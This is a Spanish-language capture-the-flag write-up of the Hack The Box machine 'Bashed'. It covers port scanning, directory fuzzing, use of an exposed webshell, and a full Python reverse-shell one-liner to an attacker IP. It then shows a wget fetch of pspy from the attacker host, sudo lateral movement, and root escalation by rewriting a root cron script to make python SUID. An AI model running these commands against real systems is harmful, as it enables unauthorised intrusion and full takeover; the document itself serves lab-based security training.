Bashed - Hack The Box - ESP

DESCRIPCION

En este post realizaremos el write up de la máquina Bashed. Tocaremos los conceptos de fuzzing, webshell, movimiento lateral, modificación de scripts en python, explotación de tareas cron y escalada de privilegios a través de permisos SUID.

INDICE

ESCANEO DE PUERTOS

Escaneamos con nmap los puertos abiertos en la máquina Bashed:

 cat Puertos
───────┬───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
        File: Puertos
───────┼───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
   1    nmap --open -p- -T5 -oG Puertos 10.10.10.68
   2    Host: 10.10.10.68 ()    Status: Up
   3    Host: 10.10.10.68 ()    Ports: 80/open/tcp//http///
───────┴───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

❯ Reconocimiento Puertos

{*} Extrayendo puertos...

	La direccion ip es: 10.10.10.68
	Los puertos abiertos son: 80

	Los puertos han sido copiados al portapapeles


Escaneamos al objetivo con los scripts predeterminados de nmap, apuntando a los puertos abiertos en busca de más información.

 cat Objetivos
───────┬───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
        File: Objetivos
───────┼───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
   1    nmap -sCV -p 80 -oN Objetivos 10.10.10.68
   2    Nmap scan report for 10.10.10.68
   3    Host is up (0.040s latency).
   4    
   5    PORT   STATE SERVICE VERSION
   6    80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
   7    |_http-title: Arrexel's Development Site
   8    |_http-server-header: Apache/2.4.18 (Ubuntu)
   9    
  10    Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
───────┴───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

Por lo que parece la máquina objetivo solo tiene expuesto el puerto 80. Vamos a echarle un vistazo.

RECONOCIMIENTO WEB

La web parece enseñar una herramienta llamada phpbash.


Si investigamos la página, deducimos que la herramienta desempeña la función de una web shell y por lo que el post nos indica la herramienta está desplegada en el servidor.

phpbash helps a lot with pentesting. I have tested it on multiple 
different servers and it was very useful. I actually developed it on this exact server!

https://github.com/Arrexel/phpbash

WFUZZ



Sabiendo que la web shell está desplegada, vamos a buscar mediante fuzzing posibles directorios donde pueda estar ubicada.

❯ wfuzz -c --hc 404 -u http://10.10.10.68/FUZZ -w /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.10.68/FUZZ
Total requests: 220560

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                                       
=====================================================================

000000001:   200        161 L    397 W      7743 Ch     "# directory-list-2.3-medium.txt"                                                                                                             
000000003:   200        161 L    397 W      7743 Ch     "# Copyright 2007 James Fisher"                                                                                                               
000000007:   200        161 L    397 W      7743 Ch     "# license, visit http://creativecommons.org/licenses/by-sa/3.0/"                                                                             
000000014:   200        161 L    397 W      7743 Ch     "http://10.10.10.68/"                                                                                                                         
000000016:   301        9 L      28 W       311 Ch      "images"                                                                                                                                      
000000006:   200        161 L    397 W      7743 Ch     "# Attribution-Share Alike 3.0 License. To view a copy of this"                                                                               
000000010:   200        161 L    397 W      7743 Ch     "#"                                                                                                                                           
000000005:   200        161 L    397 W      7743 Ch     "# This work is licensed under the Creative Commons"                                                                                          
000000011:   200        161 L    397 W      7743 Ch     "# Priority ordered case-sensitive list, where entries were found"                                                                            
000000013:   200        161 L    397 W      7743 Ch     "#"                                                                                                                                           
000000012:   200        161 L    397 W      7743 Ch     "# on at least 2 different hosts"                                                                                                             
000000008:   200        161 L    397 W      7743 Ch     "# or send a letter to Creative Commons, 171 Second Street,"                                                                                  
000000009:   200        161 L    397 W      7743 Ch     "# Suite 300, San Francisco, California, 94105, USA."                                                                                         
000000002:   200        161 L    397 W      7743 Ch     "#"                                                                                                                                           
000000004:   200        161 L    397 W      7743 Ch     "#"                                                                                                                                           
000000164:   301        9 L      28 W       312 Ch      "uploads"                                                                                                                                     
000000338:   301        9 L      28 W       308 Ch      "php"                                                                                                                                         
000000550:   301        9 L      28 W       308 Ch      "css"                                                                                                                                         
000000834:   301        9 L      28 W       308 Ch      "dev"                                                                                                                                         
000000953:   301        9 L      28 W       307 Ch      "js"                                                                                                                                          
000002771:   301        9 L      28 W       310 Ch      "fonts"   


Revisando entre los diferentes directorios encontramos /dev/, y nos muestra lo siguiente:


¡Bingo! Tenemos acceso a las webshells, en mi caso utilizaré phpbash.php.

Parece ser totalmente funcional.

REVERSE SHELL

Vamos a enviarnos una revsehell a nuestro equipo para trabajar de manera más cómoda.

1- Antes nos ponemos por escucha con nc.

❯ nc -lvnp 1234
listening on [any] 1234 ...


2- Enviamos la shell a nuestro equipo.

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.5",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'


3- Recibimos la shell.

❯ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.10.68] 54660
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
$ 

TTY INTERACTIVA



Para spawnear un tty interactiva seguimos el siguiente proceso.

$ script /dev/null -c bash
Script started, file is /dev/null
www-data@bashed:/var/www/html/dev$ ^Z
[1]  + 4763 suspended  nc -lvnp 1234
❯ stty raw -echo; fg
[1]  + 4763 continued  nc -lvnp 1234
                                    reset xterm

www-data@bashed:/var/www/html/dev$ export TERM=xterm
www-data@bashed:/var/www/html/dev$ export SHELL=/bin/bash

LATERAL MOVEMENT

SCRIPTMANAGER



Como www-data hacemos sudo -l.

www-data@bashed:/var/www/html/dev$ sudo -l
Matching Defaults entries for www-data on bashed:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on bashed:
    (scriptmanager : scriptmanager) NOPASSWD: ALL


Podemos ejecutar cualquier comando como scriptmanager, por lo que nos podemos ejecutar una shell como él.

sudo -u scriptmanager /bin/bash
scriptmanager@bashed:/var/www/html/dev$ whoami
scriptmanager


Si nos dirigimos a la raíz podemos ver el directorio scripts del cual somos propietarios.

drwxrwxr--   2 scriptmanager scriptmanager  4096 Jun  2 07:19 scripts

scriptmanager@bashed:/scripts$ ls -la
total 16
drwxrwxr--  2 scriptmanager scriptmanager 4096 Jun  2 07:19 .
drwxr-xr-x 23 root          root          4096 Jun  2 07:25 ..
-rw-r--r--  1 scriptmanager scriptmanager   58 Dec  4  2017 test.py
-rw-r--r--  1 root          root            12 Aug 19 06:15 test.txt

Tenemos dos archivos, uno de nuestra propiedad y otro el cual pertenece al usuario root.

Si vemos el codigo de test.py y test.txt obtenemos lo siguiente:

TEST.py

scriptmanager@bashed:/scripts$ cat test.py 
f = open("test.txt", "w")
f.write("testing 123!")
f.close

TEST.txt

scriptmanager@bashed:/scripts$ cat test.txt 
testing 123!

Por lo que parece, el script test.py abre el fichero test.txt con permisos de escritura w, escribe la string contenida en f.write("STRING") y cierra el archivo con f.close.

Scriptmanager no tiene esos permisos para llevar a cabo esa función ¿Cómo está ejecutándose el script para tener esos permisos?.

MODIFICACION DEL SCRIPT



Modificamos en test.py la string que se guardará en test.txt.

TEST.py

scriptmanager@bashed:/scripts$ cat test.py
f = open("test.txt", "w")
f.write("void4m0n h4ck")
f.close

TEST.txt

scriptmanager@bashed:/scripts$  cat test.txt 
void4m0n h4ck

Al pasar un tiempo determinado el archivo test.txt se ha modificado con éxito, esto huele a tarea cron. Vamos a ver que sucede por detrás con pspy.

PSPY64



Para pasarnos pspy64 y ejecutarlo seguimos los siguientes pasos.

1- Nos montamos un servidor web con python.

❯ python3 -m http.server --bind 10.10.16.5
Serving HTTP on 10.10.16.5 port 8000 (http://10.10.16.5:8000/) ...


2- Desde la máquina víctima nos descargamos el programa.

scriptmanager@bashed:/scripts$ wget http://10.10.16.5:8000/pspy64
--2022-08-19 07:44:43--  http://10.10.16.5:8000/pspy64
Connecting to 10.10.16.5:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3078592 (2.9M) [application/octet-stream]
Saving to: 'pspy64'

pspy64              100%[===================>]   2.94M  1.55MB/s    in 1.9s    

2022-08-19 07:44:45 (1.55 MB/s) - 'pspy64' saved [3078592/3078592]


3- Le asignamos permisos de ejecución.

chmod +x pspy64 


4- Lanzamos el script.

scriptmanager@bashed:/scripts$ ./pspy64 


5- Analizamos el resultado.

2022/08/19 07:48:01 CMD: UID=0    PID=10374  | /usr/sbin/CRON -f 
2022/08/19 07:48:01 CMD: UID=0    PID=10375  | /usr/sbin/CRON -f 
2022/08/19 07:48:01 CMD: UID=0    PID=10376  | python test.py 
2022/08/19 07:49:01 CMD: UID=0    PID=10377  | /usr/sbin/CRON -f 
2022/08/19 07:49:01 CMD: UID=0    PID=10378  | /usr/sbin/CRON -f 
2022/08/19 07:49:01 CMD: UID=0    PID=10379  | python test.py 

Como podemos observar existe una tarea cron la cual provoca que el usuario root UID=0 esté ejecutando el fichero test.py cada minuto. Al ser dueños de este script podemos modificarlo para ejecutar cualquier comando como usuario ROOT.

PRIVILEGE ESCALATION TO ROOT

En este momento podemos escalar privilegios de la forma que deseemos, ya sea mandándonos una reverse shell, dando privilegios suid a un binario, creando capabilities, etc.

En mi caso daré permisos SUID a python de la siguiente forma.

scriptmanager@bashed:/scripts$ cat test.py 
import os
os.system("chmod 4777 /usr/bin/python")


Buscamos permisos SUID en busca de python.

scriptmanager@bashed:/scripts$  find / -perm /4000 2>/dev/null
/bin/mount
/bin/fusermount
/bin/su
/bin/umount
/bin/ping6
/bin/ntfs-3g
/bin/ping
/usr/bin/chsh
/usr/bin/newgrp
/usr/bin/sudo
/usr/bin/chfn
/usr/bin/python2.7
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/vmware-user-suid-wrapper
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign

Solo faltaría buscar el comando en GTFOBINS.

Ejecutamos.

/usr/bin/python2.7 -c 'import os; os.execl("/bin/sh", "sh", "-p")'
# whoami
root

¡Ya somos ROOT! A por esas flags.

FLAGS

User.txt

# pwd    
/home/arrexel
# cat user.txt
117cxxxxxxxxxxxxxxxxxxxxxxxxxxxx

Root.txt

# pwd
/root
# cat root.txt
223dxxxxxxxxxxxxxxxxxxxxxxxxxxxx

CONOCIMIENTOS OBTENIDOS

De la máquina Bashed podemos extraer los siguientes conocimientos:

  • Reconocimiento de puertos con Nmap.
  • Fuzzing de directorios con WFUZZ.
  • Movimiento lateral a través de sudo -l.
  • Modificar código python.
  • Explotación de tareas cron.
  • Privesc mediante permisos SUID.

ERRORES

Un posible error que podéis sufrir es el siguiente:

  • Recordad que la tarea cron se ejecuta cada minuto, por lo que dependiendo de en que momento ejecutéis el comando tendréis que esperar hasta un minuto para llevar a cabo la priesc.

AUTORES y REFERENCIAS

Autor del write up: Luis Miranda Sierra (Void4m0n) HTB. Si queréis contactarme por cualquier motivo lo podéis hacer a través de Twitter.

Autor de la máquina: Arrexel, muchas gracias por la creación de Bashed aportando a la comunidad. HTB.